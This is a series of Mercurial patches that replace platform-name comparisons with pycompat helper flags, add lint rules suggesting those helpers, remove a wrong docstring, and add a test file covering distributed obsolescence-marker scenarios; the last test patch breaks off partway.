@@ -64,7 +64,7 @@
             result.append((fn, _mode_to_kind(st.st_mode)))
     return result
 
-if pycompat.osname != 'nt':
+if not pycompat.iswindows:
     posixfile = open
 
     _SCM_RIGHTS = 0x01
diff --git a/mercurial/rcutil.py b/mercurial/rcutil.py
--- a/mercurial/rcutil.py
+++ b/mercurial/rcutil.py
@@ -15,7 +15,7 @@
     util,
 )
 
-if pycompat.osname == 'nt':
+if pycompat.iswindows:
     from . import scmwindows as scmplatform
 else:
     from . import scmposix as scmplatform
diff --git a/mercurial/scmutil.py b/mercurial/scmutil.py
--- a/mercurial/scmutil.py
+++ b/mercurial/scmutil.py
@@ -41,7 +41,7 @@
     vfs,
 )
 
-if pycompat.osname == 'nt':
+if pycompat.iswindows:
     from . import scmwindows as scmplatform
 else:
     from . import scmposix as scmplatform
@@ -291,7 +291,7 @@
     val = ui.config('ui', 'portablefilenames')
     lval = val.lower()
     bval = util.parsebool(val)
-    abort = pycompat.osname == 'nt' or lval == 'abort'
+    abort = pycompat.iswindows or lval == 'abort'
     warn = bval or lval == 'warn'
     if bval is None and not (warn or abort or lval == 'ignore'):
         raise error.ConfigError(
diff --git a/mercurial/sslutil.py b/mercurial/sslutil.py
--- a/mercurial/sslutil.py
+++ b/mercurial/sslutil.py
@@ -477,7 +477,7 @@
                         'for more info)\n'))
 
             elif (e.reason == 'CERTIFICATE_VERIFY_FAILED' and
-                pycompat.osname == 'nt'):
+                pycompat.iswindows):
 
                 ui.warn(_('(the full certificate chain may not be available '
                           'locally; see "hg help debugssl")\n'))
@@ -717,7 +717,7 @@
     # because we'll get a certificate verification error later and the lack
     # of loaded CA certificates will be the reason why.
     # Assertion: this code is only called if certificates are being verified.
-    if pycompat.osname == 'nt':
+    if pycompat.iswindows:
         if not _canloaddefaultcerts:
             ui.warn(_('(unable to load Windows CA certificates; see '
                       'https://mercurial-scm.org/wiki/SecureConnections for '
@@ -749,7 +749,7 @@
     # / is writable on Windows. Out of an abundance of caution make sure
     # we're not on Windows because paths from _systemcacerts could be installed
     # by non-admin users.
-    assert pycompat.osname != 'nt'
+    assert not pycompat.iswindows
 
     # Try to find CA certificates in well-known locations. We print a warning
     # when using a found file because we don't want too much silent magic
diff --git a/mercurial/subrepo.py b/mercurial/subrepo.py
--- a/mercurial/subrepo.py
+++ b/mercurial/subrepo.py
@@ -1347,7 +1347,7 @@
             if e.errno != errno.ENOENT:
                 raise error.Abort(genericerror % (
                     self._path, encoding.strtolocal(e.strerror)))
-            elif pycompat.osname == 'nt':
+            elif pycompat.iswindows:
                 try:
                     self._gitexecutable = 'git.cmd'
                     out, err = self._gitnodir(['--version'])
diff --git a/mercurial/ui.py b/mercurial/ui.py
--- a/mercurial/ui.py
+++ b/mercurial/ui.py
@@ -1041,7 +1041,7 @@
         # gracefully and tell the user about their broken pager.
         shell = any(c in command for c in "|&;<>()$`\\\"' \t\n*?[#~=%")
 
-        if pycompat.osname == 'nt' and not shell:
+        if pycompat.iswindows and not shell:
             # Window's built-in `more` cannot be invoked with shell=False, but
             # its `more.com` can.  Hide this implementation detail from the
             # user so we can also get sane bad PAGER behavior.  MSYS has
diff --git a/mercurial/util.py b/mercurial/util.py
--- a/mercurial/util.py
+++ b/mercurial/util.py
@@ -92,7 +92,7 @@
 if isatty(stdout):
     stdout = os.fdopen(stdout.fileno(), pycompat.sysstr('wb'), 1)
 
-if pycompat.osname == 'nt':
+if pycompat.iswindows:
     from . import windows as platform
     stdout = platform.winstdout(stdout)
 else:
@@ -1348,7 +1348,7 @@
             return _("filename ends with '%s', which is not allowed "
                      "on Windows") % t
 
-if pycompat.osname == 'nt':
+if pycompat.iswindows:
     checkosfilename = checkwinfilename
     timer = time.clock
 else:
@@ -1572,7 +1572,7 @@
             # pure build; use a safe default
             return True
     else:
-        return pycompat.osname == "nt" or encoding.environ.get("DISPLAY")
+        return pycompat.iswindows or encoding.environ.get("DISPLAY")
 
 def mktempcopy(name, emptyok=False, createmode=None):
     """Create a temporary file with the same contents from name
diff --git a/mercurial/vfs.py b/mercurial/vfs.py
--- a/mercurial/vfs.py
+++ b/mercurial/vfs.py
@@ -543,7 +543,7 @@
 
         # Only Windows/NTFS has slow file closing. So only enable by default
         # on that platform. But allow to be enabled elsewhere for testing.
-        defaultenabled = pycompat.osname == 'nt'
+        defaultenabled = pycompat.iswindows
         enabled = ui.configbool('worker', 'backgroundclose', defaultenabled)
 
         if not enabled:
diff --git a/mercurial/worker.py b/mercurial/worker.py
--- a/mercurial/worker.py
+++ b/mercurial/worker.py
@@ -203,7 +203,7 @@
     elif os.WIFSIGNALED(code):
         return -os.WTERMSIG(code)
 
-if pycompat.osname != 'nt':
+if not pycompat.iswindows:
     _platformworker = _posixworker
     _exitstatus = _posixexitstatus
 
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1507824262 25200
#      Thu Oct 12 09:04:22 2017 -0700
# Node ID 238abf65a8ad653a5ce14287609185f3687618ec
# Parent  75979c8d457288b4c049f730a303345e4317e38a
codemod: use pycompat.isposix

This is done by:

  sed -i "s/pycompat\.osname == 'posix'/pycompat.isposix/" **/*.py

Differential Revision: https://phab.mercurial-scm.org/D1036

diff --git a/hgext/largefiles/lfutil.py b/hgext/largefiles/lfutil.py
--- a/hgext/largefiles/lfutil.py
+++ b/hgext/largefiles/lfutil.py
@@ -83,7 +83,7 @@
         home = encoding.environ.get('HOME')
         if home:
             return os.path.join(home, 'Library', 'Caches', longname)
-    elif pycompat.osname == 'posix':
+    elif pycompat.isposix:
         path = encoding.environ.get('XDG_CACHE_HOME')
         if path:
             return os.path.join(path, longname)
diff --git a/mercurial/util.py b/mercurial/util.py
--- a/mercurial/util.py
+++ b/mercurial/util.py
@@ -313,7 +313,7 @@
             return memoryview(sliceable)[offset:offset + length]
         return memoryview(sliceable)[offset:]
 
-closefds = pycompat.osname == 'posix'
+closefds = pycompat.isposix
 
 _chunksize = 4096
 
diff --git a/mercurial/worker.py b/mercurial/worker.py
--- a/mercurial/worker.py
+++ b/mercurial/worker.py
@@ -53,7 +53,7 @@
             raise error.Abort(_('number of cpus must be an integer'))
     return min(max(countcpus(), 4), 32)
 
-if pycompat.osname == 'posix':
+if pycompat.isposix:
     _startupcost = 0.01
 else:
     _startupcost = 1e30
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1507876474 25200
#      Thu Oct 12 23:34:34 2017 -0700
# Node ID dacfcdd8b94e115a61c3ed738ea0197b9b89ceb8
# Parent  238abf65a8ad653a5ce14287609185f3687618ec
codemod: use pycompat.isdarwin

This is done by:

  sed -i "s/pycompat\.sysplatform == 'darwin'/pycompat.isdarwin/" **/*.py

Plus a manual change to `sslutil.py` which involves indentation change that
cannot be done by `sed`.

Differential Revision: https://phab.mercurial-scm.org/D1035

diff --git a/hgext/fsmonitor/__init__.py b/hgext/fsmonitor/__init__.py
--- a/hgext/fsmonitor/__init__.py
+++ b/hgext/fsmonitor/__init__.py
@@ -603,7 +603,7 @@
 def extsetup(ui):
     extensions.wrapfilecache(
         localrepo.localrepository, 'dirstate', wrapdirstate)
-    if pycompat.sysplatform == 'darwin':
+    if pycompat.isdarwin:
         # An assist for avoiding the dangling-symlink fsevents bug
         extensions.wrapfunction(os, 'symlink', wrapsymlink)
 
diff --git a/hgext/largefiles/lfutil.py b/hgext/largefiles/lfutil.py
--- a/hgext/largefiles/lfutil.py
+++ b/hgext/largefiles/lfutil.py
@@ -79,7 +79,7 @@
                         encoding.environ.get('APPDATA'))
         if appdata:
             return os.path.join(appdata, longname)
-    elif pycompat.sysplatform == 'darwin':
+    elif pycompat.isdarwin:
         home = encoding.environ.get('HOME')
         if home:
             return os.path.join(home, 'Library', 'Caches', longname)
diff --git a/mercurial/cffi/osutil.py b/mercurial/cffi/osutil.py
--- a/mercurial/cffi/osutil.py
+++ b/mercurial/cffi/osutil.py
@@ -16,7 +16,7 @@
     pycompat,
 )
 
-if pycompat.sysplatform == 'darwin':
+if pycompat.isdarwin:
     from . import _osutil
 
     ffi = _osutil.ffi
diff --git a/mercurial/posix.py b/mercurial/posix.py
--- a/mercurial/posix.py
+++ b/mercurial/posix.py
@@ -332,7 +332,7 @@
 # fallback normcase function for non-ASCII strings
 normcasefallback = normcase
 
-if pycompat.sysplatform == 'darwin':
+if pycompat.isdarwin:
 
     def normcase(path):
         '''
diff --git a/mercurial/scmposix.py b/mercurial/scmposix.py
--- a/mercurial/scmposix.py
+++ b/mercurial/scmposix.py
@@ -46,7 +46,7 @@
 def userrcpath():
     if pycompat.sysplatform == 'plan9':
         return [encoding.environ['home'] + '/lib/hgrc']
-    elif pycompat.sysplatform == 'darwin':
+    elif pycompat.isdarwin:
         return [os.path.expanduser('~/.hgrc')]
     else:
         confighome = encoding.environ.get('XDG_CONFIG_HOME')
diff --git a/mercurial/sslutil.py b/mercurial/sslutil.py
--- a/mercurial/sslutil.py
+++ b/mercurial/sslutil.py
@@ -677,8 +677,8 @@
       for using system certificate store CAs in addition to the provided
       cacerts file
     """
-    if (pycompat.sysplatform != 'darwin' or
-                        util.mainfrozen() or not pycompat.sysexecutable):
+    if (not pycompat.isdarwin or util.mainfrozen() or
+        not pycompat.sysexecutable):
         return False
     exe = os.path.realpath(pycompat.sysexecutable).lower()
     return (exe.startswith('/usr/bin/python') or
@@ -736,7 +736,7 @@
 
     # The Apple OpenSSL trick isn't available to us. If Python isn't able to
     # load system certs, we're out of luck.
-    if pycompat.sysplatform == 'darwin':
+    if pycompat.isdarwin:
         # FUTURE Consider looking for Homebrew or MacPorts installed certs
         # files. Also consider exporting the keychain certs to a file during
         # Mercurial install.
diff --git a/mercurial/util.py b/mercurial/util.py
--- a/mercurial/util.py
+++ b/mercurial/util.py
@@ -1561,7 +1561,7 @@
 
 def gui():
     '''Are we running in a GUI?'''
-    if pycompat.sysplatform == 'darwin':
+    if pycompat.isdarwin:
         if 'SSH_CONNECTION' in encoding.environ:
             # handle SSH access to a box where the user is logged in
             return False
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1507826098 25200
#      Thu Oct 12 09:34:58 2017 -0700
# Node ID 4889b84b15f2a64b0d9452c795da0e5eb09568bc
# Parent  dacfcdd8b94e115a61c3ed738ea0197b9b89ceb8
check-code: suggest pycompat.is(posix|windows|darwin)

Differential Revision: https://phab.mercurial-scm.org/D1037

diff --git a/contrib/check-code.py b/contrib/check-code.py
--- a/contrib/check-code.py
+++ b/contrib/check-code.py
@@ -397,6 +397,18 @@
           (?P=quote))""", reppython),
 ]
 
+# non-filter patterns
+pynfpats = [
+    [
+    (r'pycompat\.osname\s*[=!]=\s*[\'"]nt[\'"]', "use pycompat.iswindows"),
+    (r'pycompat\.osname\s*[=!]=\s*[\'"]posix[\'"]', "use pycompat.isposix"),
+    (r'pycompat\.sysplatform\s*[!=]=\s*[\'"]darwin[\'"]',
+     "use pycompat.isdarwin"),
+    ],
+    # warnings
+    [],
+]
+
 # extension non-filter patterns
 pyextnfpats = [
     [(r'^"""\n?[A-Z]', "don't capitalize docstring title")],
@@ -513,6 +525,7 @@
 
 checks = [
     ('python', r'.*\.(py|cgi)$', r'^#!.*python', pyfilters, pypats),
+    ('python', r'.*\.(py|cgi)$', r'^#!.*python', [], pynfpats),
     ('python', r'.*hgext.*\.py$', '', [], pyextnfpats),
     ('python 3', r'.*(hgext|mercurial)/(?!demandimport|policy|pycompat).*\.py',
      '', pyfilters, py3pats),
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1507657775 -19800
#      Tue Oct 10 23:19:35 2017 +0530
# Node ID 586645e0589c66feb2ea03c7eada658c60632972
# Parent  4889b84b15f2a64b0d9452c795da0e5eb09568bc
repoview: remove incorrect documentation of the function

In repoview.py, computeunserved() and computemutable() functions had the same
documentation. The documentation of computemutable() is wrong. I was unable to
write documentation for the function but it's better to not having the
documentation than having it wrong.

Differential Revision: https://phab.mercurial-scm.org/D1016

diff --git a/mercurial/repoview.py b/mercurial/repoview.py
--- a/mercurial/repoview.py
+++ b/mercurial/repoview.py
@@ -99,9 +99,6 @@
         return hiddens
 
 def computemutable(repo):
-    """compute the set of revision that should be filtered when used a server
-
-    Secret and hidden changeset should not pretend to be here."""
     assert not repo.changelog.filteredrevs
     # fast check to avoid revset call on huge repo
     if any(repo._phasecache.phaseroots[1:]):
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1506711555 -3600
#      Fri Sep 29 19:59:15 2017 +0100
# Node ID 6c85f4e3d914df7b8b507f253258103537519f1e
# Parent  586645e0589c66feb2ea03c7eada658c60632972
test: add a test file dedicated to an important distributed case

This test file introduces documented test case for obsolescence markers usage
that are important to distributed workflow cases.

In the distributed case, new changesets, markers, and phases can be added in
orders that would not happen during the local only usage. Documenting these
scenarios and test them is important as we make progress with various
obsolescence aspects.

diff --git a/tests/test-obsolete-distributed.t b/tests/test-obsolete-distributed.t
new file mode 100644
--- /dev/null
+++ b/tests/test-obsolete-distributed.t
@@ -0,0 +1,207 @@
+=============================
+Test distributed obsolescence
+=============================
+
+This file test various cases where data (changeset, phase, obsmarkers) is
+added to the repository in a specific order. Usually, this order is unlikely
+to happen in the local case but can easily happen in the distributed case.
+
+  $ unset HGUSER
+  $ unset EMAIL
+  $ . $TESTDIR/testlib/obsmarker-common.sh
+  $ cat >> $HGRCPATH << EOF
+  > [experimental]
+  > evolution = all
+  > [phases]
+  > publish = False
+  > [templates]
+  > obsfatesuccessors = "{if(successors, " as ")}{join(successors, ", ")}"
+  > obsfateverb = "{obsfateverb(successors)}"
+  > obsfateoperations = "{if(obsfateoperations(markers), " using {join(obsfateoperations(markers), ", ")}")}"
+  > obsfateusers = "{if(obsfateusers(markers), " by {join(obsfateusers(markers), ", ")}")}"
+  > obsfatedate = "{if(obsfatedate(markers), "{ifeq(min(obsfatedate(markers)), max(obsfatedate(markers)), " (at {min(obsfatedate(markers))|isodate})", " (between {min(obsfatedate(markers))|isodate} and {max(obsfatedate(markers))|isodate})")}")}"
+  > obsfate = "{obsfateverb}{obsfateoperations}{obsfatesuccessors}{obsfateusers}{obsfatedate}; "
+  > [ui]
+  > logtemplate= {rev}:{node|short} {desc} {if(succsandmarkers, "[{succsandmarkers % "{obsfate}"}]")}\n
+  > EOF
+
+Check distributed chain building
+================================
+
+Test case where a changeset is marked as a successor of another local
+changeset while the successor has already been obsoleted remotely.
+
+The chain of evolution should seamlessly connect and all but the new version
+(created remotely) should be seen as obsolete.
+
+Initial setup
+
+  $ mkdir distributed-chain-building
+  $ cd distributed-chain-building
+  $ hg init server
+  $ cd server
+  $ cat << EOF >> .hg/hgrc
+  > [ui]
+  > username = server
+  > EOF
+  $ mkcommit ROOT
+  $ mkcommit c_A0
+  $ hg up 'desc("ROOT")'
+  0 files updated, 0 files merged, 1 files removed, 0 files unresolved
+  $ mkcommit c_A1
+  created new head
+  $ hg up 'desc("ROOT")'
+  0 files updated, 0 files merged, 1 files removed, 0 files unresolved
+  $ mkcommit c_B0
+  created new head
+  $ hg debugobsolete `getid 'desc("c_A0")'` `getid 'desc("c_A1")'`
+  obsoleted 1 changesets
+  $ hg log -G --hidden
+  @  3:e5d7dda7cd28 c_B0
+  |
+  | o  2:7f6b0a6f5c25 c_A1
+  |/
+  | x  1:e1b46f0f979f c_A0 [rewritten as 2:7f6b0a6f5c25 by server (at 1970-01-01 00:00 +0000); ]
+  |/
+  o  0:e82fb8d02bbf ROOT
+  
+  $ hg debugobsolete
+  e1b46f0f979f52748347ff8729c59f2ef56e6fe2 7f6b0a6f5c25345a83870963efd827c1798a5959 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'server'}
+  $ cd ..
+
+duplicate the repo for the client:
+
+  $ cp -R server client
+  $ cat << EOF >> client/.hg/hgrc
+  > [paths]
+  > default = ../server/
+  > [ui]
+  > username = client
+  > EOF
+
+server side: create new revision on the server (obsoleting another one)
+
+  $ cd server
+  $ hg up 'desc("ROOT")'
+  0 files updated, 0 files merged, 1 files removed, 0 files unresolved
+  $ mkcommit c_B1
+  created new head
+  $ hg debugobsolete `getid 'desc("c_B0")'` `getid 'desc("c_B1")'`
+  obsoleted 1 changesets
+  $ hg log -G
+  @  4:391a2bf12b1b c_B1
+  |
+  | o  2:7f6b0a6f5c25 c_A1
+  |/
+  o  0:e82fb8d02bbf ROOT
+  
+  $ hg log -G --hidden
+  @  4:391a2bf12b1b c_B1
+  |
+  | x  3:e5d7dda7cd28 c_B0 [rewritten as 4:391a2bf12b1b by server (at 1970-01-01 00:00 +0000); ]
+  |/
+  | o  2:7f6b0a6f5c25 c_A1
+  |/
+  | x  1:e1b46f0f979f c_A0 [rewritten as 2:7f6b0a6f5c25 by server (at 1970-01-01 00:00 +0000); ]
+  |/
+  o  0:e82fb8d02bbf ROOT
+  
+  $ hg debugobsolete
+  e1b46f0f979f52748347ff8729c59f2ef56e6fe2 7f6b0a6f5c25345a83870963efd827c1798a5959 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'server'}
+  e5d7dda7cd28e6b3f79437e5b8122a38ece0255c 391a2bf12b1b8b05a72400ae36b26d50a091dc22 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'server'}
+  $ cd ..
+
+client side: create a marker between two common changesets
+(client is not aware of the server activity yet)
+
+  $ cd client
+  $ hg debugobsolete `getid 'desc("c_A1")'` `getid 'desc("c_B0")'`
+  obsoleted 1 changesets
+  $ hg log -G
+  @  3:e5d7dda7cd28 c_B0
+  |
+  o  0:e82fb8d02bbf ROOT
+  
+  $ hg log -G --hidden
+  @  3:e5d7dda7cd28 c_B0
+  |
+  | x  2:7f6b0a6f5c25 c_A1 [rewritten as 3:e5d7dda7cd28 by client (at 1970-01-01 00:00 +0000); ]
+  |/
+  | x  1:e1b46f0f979f c_A0 [rewritten as 2:7f6b0a6f5c25 by server (at 1970-01-01 00:00 +0000); ]
+  |/
+  o  0:e82fb8d02bbf ROOT
+  
+  $ hg debugobsolete
+  e1b46f0f979f52748347ff8729c59f2ef56e6fe2 7f6b0a6f5c25345a83870963efd827c1798a5959 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'server'}
+  7f6b0a6f5c25345a83870963efd827c1798a5959 e5d7dda7cd28e6b3f79437e5b8122a38ece0255c 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'client'}
+
+client side: pull from the server
+(the new successors should take over)
+
+  $ hg up 'desc("ROOT")'
+  0 files updated, 0 files merged, 1 files removed, 0 files unresolved
+  $ hg pull
+  pulling from $TESTTMP/distributed-chain-building/server (glob)
+  searching for changes
+  adding changesets
+  adding manifests
+  adding file changes
+  added 1 changesets with 1 changes to 1 files (+1 heads)
+  1 new obsolescence markers
+  obsoleted 1 changesets
+  (run 'hg heads' to see heads)
+  $ hg log -G
+  o  4:391a2bf12b1b c_B1
+  |
+  @  0:e82fb8d02bbf ROOT
+  
+  $ hg log -G --hidden
+  o  4:391a2bf12b1b c_B1
+  |
+  | x  3:e5d7dda7cd28 c_B0 [rewritten as 4:391a2bf12b1b by server (at 1970-01-01 00:00 +0000); ]
+  |/
+  | x  2:7f6b0a6f5c25 c_A1 [rewritten as 3:e5d7dda7cd28 by client (at 1970-01-01 00:00 +0000); ]
+  |/
+  | x  1:e1b46f0f979f c_A0 [rewritten as 2:7f6b0a6f5c25 by server (at 1970-01-01 00:00 +0000); ]
+  |/
+  @  0:e82fb8d02bbf ROOT
+  
+  $ hg debugobsolete
+  e1b46f0f979f52748347ff8729c59f2ef56e6fe2 7f6b0a6f5c25345a83870963efd827c1798a5959 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'server'}
+  7f6b0a6f5c25345a83870963efd827c1798a5959 e5d7dda7cd28e6b3f79437e5b8122a38ece0255c 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'client'}
+  e5d7dda7cd28e6b3f79437e5b8122a38ece0255c 391a2bf12b1b8b05a72400ae36b26d50a091dc22 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'server'}
+
+server side: receive client push
+(the other way around, pushing to the server, the obsolete changesets stay
+obsolete on the server side but the marker is sent out.)
+
+  $ hg rollback
+  repository tip rolled back to revision 3 (undo pull)
+  $ hg push -f
+  pushing to $TESTTMP/distributed-chain-building/server (glob)
+  searching for changes
+  adding changesets
+  adding manifests
+  adding file changes
+  added 0 changesets with 0 changes to 1 files
+  1 new obsolescence markers
+  obsoleted 1 changesets
+  $ hg -R ../server/ log -G
+  @  4:391a2bf12b1b c_B1
+  |
+  o  0:e82fb8d02bbf ROOT
+  
+  $ hg -R ../server/ log -G --hidden
+  @  4:391a2bf12b1b c_B1
+  |
+  | x  3:e5d7dda7cd28 c_B0 [rewritten as 4:391a2bf12b1b by server (at 1970-01-01 00:00 +0000); ]
+  |/
+  | x  2:7f6b0a6f5c25 c_A1 [rewritten as 3:e5d7dda7cd28 by client (at 1970-01-01 00:00 +0000); ]
+  |/
+  | x  1:e1b46f0f979f c_A0 [rewritten as 2:7f6b0a6f5c25 by server (at 1970-01-01 00:00 +0000); ]
+  |/
+  o  0:e82fb8d02bbf ROOT
+  
+  $ hg debugobsolete
+  e1b46f0f979f52748347ff8729c59f2ef56e6fe2 7f6b0a6f5c25345a83870963efd827c1798a5959 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'server'}
+  7f6b0a6f5c25345a83870963efd827c1798a5959 e5d7dda7cd28e6b3f79437e5b8122a38ece0255c 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'client'}
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1506807440 -3600
#      Sat Sep 30 22:37:20 2017 +0100
# Node ID e88dbbcf2a56ee92f4bae122c772fad8cd84c550
# Parent  6c85f4e3d914df7b8b507f253258103537519f1e
test: add an extra case for obsolescence distributed case

This changeset introduces a new documented test case for a distributed
obsolescence scenario. The scenario involves a simple case where some
obsolescence markers are retrieved before the changeset they affect. See the
test case documentation for details.

We also test variants where the changesets are added from a bundle.

diff --git a/tests/test-obsolete-distributed.t b/tests/test-obsolete-distributed.t
--- a/tests/test-obsolete-distributed.t
+++ b/tests/test-obsolete-distributed.t
@@ -10,6 +10,8 @@
   $ unset EMAIL
   $ . $TESTDIR/testlib/obsmarker-common.sh
   $ cat >> $HGRCPATH << EOF
+  > [extensions]
+  > rebase =
   > [experimental]
   > evolution = all
   > [phases]
@@ -205,3 +207,284 @@
   $ hg debugobsolete
   e1b46f0f979f52748347ff8729c59f2ef56e6fe2 7f6b0a6f5c25345a83870963efd827c1798a5959 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'server'}
   7f6b0a6f5c25345a83870963efd827c1798a5959 e5d7dda7cd28e6b3f79437e5b8122a38ece0255c 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'client'}
+  $ cd ..
+
+Check getting changesets after getting the markers
+=================================================
+
+This test case covers the scenario where commits are received -after- we
+received some obsolescence markers turning them obsolete.
+
+For example, we pull some successors from a repository (with associated
+predecessors marker chain) and then later we pull some intermediate
+precedessors changeset from another repository. Obsolescence markers must
+apply to the intermediate changeset. They have to be obsolete (and hidden).
+
+Avoiding pulling the changeset in the first place is a tricky decision because
+there could be non-obsolete ancestors that need to be pulled, but the
+discovery cannot currently find these (this is not the case in this tests). In
+addition, we could also have to pull the changeset because they have children.
+In this case, they would not be hidden (yet) because of the orphan descendant,
+but they would still have to be obsolete. (This is not tested in this case
+either).
+
+  $ mkdir distributed-chain-building
+  $ cd distributed-chain-building
+  $ hg init server
+  $ cd server
+  $ cat << EOF >> .hg/hgrc
+  > [ui]
+  > username = server
+  > EOF
+  $ mkcommit ROOT
+  $ cd ..
+  $ hg clone server repo-Alice
+  updating to branch default
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ cat << EOF >> repo-Alice/.hg/hgrc
+  > [ui]
+  > username = alice
+  > EOF
+  $ hg clone server repo-Bob
+  updating to branch default
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ cat << EOF >> repo-Bob/.hg/hgrc
+  > [ui]
+  > username = bob
+  > EOF
+  $ hg clone server repo-Celeste
+  updating to branch default
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ cat << EOF >> repo-Celeste/.hg/hgrc
+  > [ui]
+  > username = celeste
+  > EOF
+
+Create some changesets locally
+
+  $ cd repo-Alice
+  $ mkcommit c_A0
+  $ mkcommit c_B0
+  $ cd ..
+
+Bob pulls from Alice and rewrites them
+
+  $ cd repo-Bob
+  $ hg pull ../repo-Alice
+  pulling from ../repo-Alice
+  searching for changes
+  adding changesets
+  adding manifests
+  adding file changes
+  added 2 changesets with 2 changes to 2 files
+  (run 'hg update' to get a working copy)
+  $ hg up 'desc("c_A")'
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ hg commit --amend -m 'c_A1'
+  $ hg rebase -r 'desc("c_B0")' -d . # no easy way to rewrite the message with the rebase
+  rebasing 2:ef908e42ce65 "c_B0"
+  $ hg up
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ hg commit --amend -m 'c_B1'
+  $ hg log -G
+  @  5:956063ac4557 c_B1
+  |
+  o  3:5b5708a437f2 c_A1
+  |
+  o  0:e82fb8d02bbf ROOT
+  
+  $ hg log -G --hidden
+  @  5:956063ac4557 c_B1
+  |
+  | x  4:5ffb9e311b35 c_B0 [rewritten using amend as 5:956063ac4557 by bob (at 1970-01-01 00:00 +0000); ]
+  |/
+  o  3:5b5708a437f2 c_A1
+  |
+  | x  2:ef908e42ce65 c_B0 [rewritten using rebase as 4:5ffb9e311b35 by bob (at 1970-01-01 00:00 +0000); ]
+  | |
+  | x  1:d33b0a3a6464 c_A0 [rewritten using amend as 3:5b5708a437f2 by bob (at 1970-01-01 00:00 +0000); ]
+  |/
+  o  0:e82fb8d02bbf ROOT
+  
+  $ hg debugobsolete
+  d33b0a3a64647d79583526be8107802b1f9fedfa 5b5708a437f27665db42c5a261a539a1bcb2a8c2 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'bob'}
+  ef908e42ce65ef57f970d799acaddde26f58a4cc 5ffb9e311b35f6ab6f76f667ca5d6e595645481b 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'bob'}
+  5ffb9e311b35f6ab6f76f667ca5d6e595645481b 956063ac4557828781733b2d5677a351ce856f59 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'bob'}
+  $ cd ..
+
+Celeste pulls from Bob and rewrites them again
+
+  $ cd repo-Celeste
+  $ hg pull ../repo-Bob
+  pulling from ../repo-Bob
+  searching for changes
+  adding changesets
+  adding manifests
+  adding file changes
+  added 2 changesets with 2 changes to 2 files
+  3 new obsolescence markers
+  (run 'hg update' to get a working copy)
+  $ hg up 'desc("c_A")'
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ hg commit --amend -m 'c_A2'
+  $ hg rebase -r 'desc("c_B1")' -d . # no easy way to rewrite the message with the rebase
+  rebasing 2:956063ac4557 "c_B1"
+  $ hg up
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ hg commit --amend -m 'c_B2'
+  $ hg log -G
+  @  5:77ae25d99ff0 c_B2
+  |
+  o  3:9866d64649a5 c_A2
+  |
+  o  0:e82fb8d02bbf ROOT
+  
+  $ hg log -G --hidden
+  @  5:77ae25d99ff0 c_B2
+  |
+  | x  4:3cf8de21cc22 c_B1 [rewritten using amend as 5:77ae25d99ff0 by celeste (at 1970-01-01 00:00 +0000); ]
+  |/
+  o  3:9866d64649a5 c_A2
+  |
+  | x  2:956063ac4557 c_B1 [rewritten using rebase as 4:3cf8de21cc22 by celeste (at 1970-01-01 00:00 +0000); ]
+  | |
+  | x  1:5b5708a437f2 c_A1 [rewritten using amend as 3:9866d64649a5 by celeste (at 1970-01-01 00:00 +0000); ]
+  |/
+  o  0:e82fb8d02bbf ROOT
+  
+  $ hg debugobsolete
+  5ffb9e311b35f6ab6f76f667ca5d6e595645481b 956063ac4557828781733b2d5677a351ce856f59 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'bob'}
+  d33b0a3a64647d79583526be8107802b1f9fedfa 5b5708a437f27665db42c5a261a539a1bcb2a8c2 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'bob'}
+  ef908e42ce65ef57f970d799acaddde26f58a4cc 5ffb9e311b35f6ab6f76f667ca5d6e595645481b 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'bob'}
+  5b5708a437f27665db42c5a261a539a1bcb2a8c2 9866d64649a5d9c5991fe119c7b2c33898114e10 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'celeste'}
+  956063ac4557828781733b2d5677a351ce856f59 3cf8de21cc2282186857d2266eb6b1f9cb85ecf3 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'celeste'}
+  3cf8de21cc2282186857d2266eb6b1f9cb85ecf3 77ae25d99ff07889e181126b1171b94bec8e5227 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'celeste'}
+
+Celeste now pushes to the server
+
+(note: it would be enough to just have direct Celeste -> Alice exchange here.
+However using a central server seems more common)
+
+  $ hg push
+  pushing to $TESTTMP/distributed-chain-building/distributed-chain-building/server (glob)
+  searching for changes
+  adding changesets
+  adding manifests
+  adding file changes
+  added 2 changesets with 2 changes to 2 files
+  6 new obsolescence markers
+  $ cd ..
+
+Now Alice pulls from the server, then from Bob
+
+Alice first retrieves the new evolution of its changesets and associated markers
+from the server (note: could be from Celeste directly)
+
+  $ cd repo-Alice
+  $ hg up 'desc(ROOT)'
